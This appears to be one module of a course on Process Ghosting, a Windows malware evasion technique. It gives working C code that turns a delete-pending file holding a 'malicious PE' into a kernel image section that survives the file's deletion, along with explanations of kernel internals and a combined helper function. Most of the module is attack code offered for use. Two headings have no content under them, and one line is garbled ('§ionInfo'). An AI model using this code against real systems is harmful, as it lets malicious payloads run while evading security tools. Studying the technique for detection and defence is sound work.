Module 5: Section Mapping from Ghost

Creating an image section from the delete-pending file — the moment the ghost image becomes permanent in kernel memory.

1. Creating the Image Section

With the ghost file handle from Module 4 (delete-pending, containing the malicious PE), we now create an image section. This is the pivotal step — it captures the PE content into a kernel object that will outlive the file:

HANDLE hSection = NULL;

NTSTATUS status = NtCreateSection(
    &hSection,          // receives the section handle
    SECTION_ALL_ACCESS, // full access to the section
    NULL,               // no object attributes
    NULL,               // MaximumSize (auto from PE headers)
    PAGE_READONLY,      // initial page protection
    SEC_IMAGE,          // IMAGE section type
    hFile               // the delete-pending file handle
);

2. What Happens Inside the Kernel

When the kernel processes NtCreateSection with SEC_IMAGE, it performs the following operations internally:

3. SEC_IMAGE PE Parsing

The SEC_IMAGE flag triggers full PE parsing by the memory manager. The kernel reads the PE headers to determine how to map the image into virtual memory:

// What the kernel reads from the PE to create subsections:
// (conceptual representation)

// From IMAGE_NT_HEADERS:
//   OptionalHeader.ImageBase         -> preferred load address
//   OptionalHeader.SizeOfImage       -> total virtual size
//   OptionalHeader.AddressOfEntryPoint -> EP RVA
//   OptionalHeader.SectionAlignment  -> virtual alignment
//   OptionalHeader.FileAlignment     -> file alignment

// From each IMAGE_SECTION_HEADER:
//   VirtualAddress    -> RVA of this section
//   VirtualSize       -> virtual size
//   PointerToRawData  -> file offset
//   SizeOfRawData     -> file size
//   Characteristics   -> permissions (R/W/X)

4. Why the Section Survives File Deletion

This is the core of Process Ghosting’s power. The section persists after the file is deleted because of reference counting in the kernel:

// After section creation, close the file handle
// This triggers the actual file deletion from disk
NtClose(hFile);
hFile = NULL;

// At this point:
// - File is DELETED from disk (no directory entry, MFT freed)
// - hSection is still valid
// - Section's CONTROL_AREA still references the FILE_OBJECT
// - PE content is still accessible through the section
// - NtCreateProcessEx can still use hSection

5. The CONTROL_AREA in Detail

The CONTROL_AREA is the key kernel structure that bridges files and sections. For an image section, its relevant fields include:

// Simplified CONTROL_AREA structure (Windows 10+)
typedef struct _CONTROL_AREA {
    PFILE_OBJECT    FilePointer;        // backing file object
    ULONG           NumberOfSectionReferences;  // section ref count
    ULONG           NumberOfPfnReferences;      // page frame refs
    ULONG           NumberOfMappedViews;        // mapped view count
    ULONG           NumberOfUserReferences;     // user-mode refs
    ULONG           FlushInProgressCount;
    ULONG_PTR       Flags;              // includes IMAGE flag
    PSEGMENT        Segment;            // segment containing pages
    PSUBSECTION     FirstSubsection;    // head of subsection list
    // ... additional fields
} CONTROL_AREA, *PCONTROL_AREA;

The NumberOfSectionReferences field tracks how many section objects reference this control area. As long as it is greater than zero, the control area (and its file object pointer) stays alive. When we create a process from the section, the process’s virtual address space adds mapped view references, further keeping the control area alive.

6. Verifying the Section

Before proceeding to process creation, we can verify the section is valid by querying its basic information:

// Query section information to verify
SECTION_BASIC_INFORMATION sectionInfo = { 0 };
ULONG retLen = 0;

status = NtQuerySection(
    hSection,
    SectionBasicInformation,
    §ionInfo,
    sizeof(sectionInfo),
    &retLen
);

if (NT_SUCCESS(status)) {
    // sectionInfo.Size contains the image size
    // sectionInfo.Attributes should include SEC_IMAGE
    printf("Section size: 0x%llx\n", sectionInfo.Size.QuadPart);
    printf("Attributes: 0x%x\n", sectionInfo.Attributes);
    // Attributes & SEC_IMAGE should be non-zero
}

We can also query the image information to get the entry point and other PE metadata:

// Query section image information
SECTION_IMAGE_INFORMATION imageInfo = { 0 };

status = NtQuerySection(
    hSection,
    SectionImageInformation,
    &imageInfo,
    sizeof(imageInfo),
    &retLen
);

if (NT_SUCCESS(status)) {
    printf("Entry point: %p\n", imageInfo.TransferAddress);
    printf("Stack reserve: 0x%llx\n",
        imageInfo.MaximumStackSize);
    printf("Image base: %p\n",
        imageInfo.ImageBase);
    // TransferAddress = ImageBase + AddressOfEntryPoint
}

7. Timeline of Events

Here is the complete timeline from file creation through section persistence:

8. Combined Code: Ghost File + Section

// Complete: create ghost file and section
bool CreateGhostSection(
    LPCWSTR ghostPath,
    BYTE* payload, DWORD payloadSize,
    HANDLE* phSection)
{
    HANDLE hFile = NULL;
    HANDLE hSection = NULL;
    IO_STATUS_BLOCK iosb = { 0 };
    NTSTATUS status;

    // Phase 1: Create ghost file (Module 4)
    status = CreateGhostFile(ghostPath,
        payload, payloadSize, &hFile);
    if (!NT_SUCCESS(status)) return false;

    // Phase 2: Create image section from ghost
    status = NtCreateSection(
        &hSection,
        SECTION_ALL_ACCESS,
        NULL, NULL,
        PAGE_READONLY,
        SEC_IMAGE,
        hFile);

    // Close the file handle - triggers deletion
    NtClose(hFile);

    if (!NT_SUCCESS(status)) return false;

    // Section is alive, file is dead
    *phSection = hSection;
    return true;
}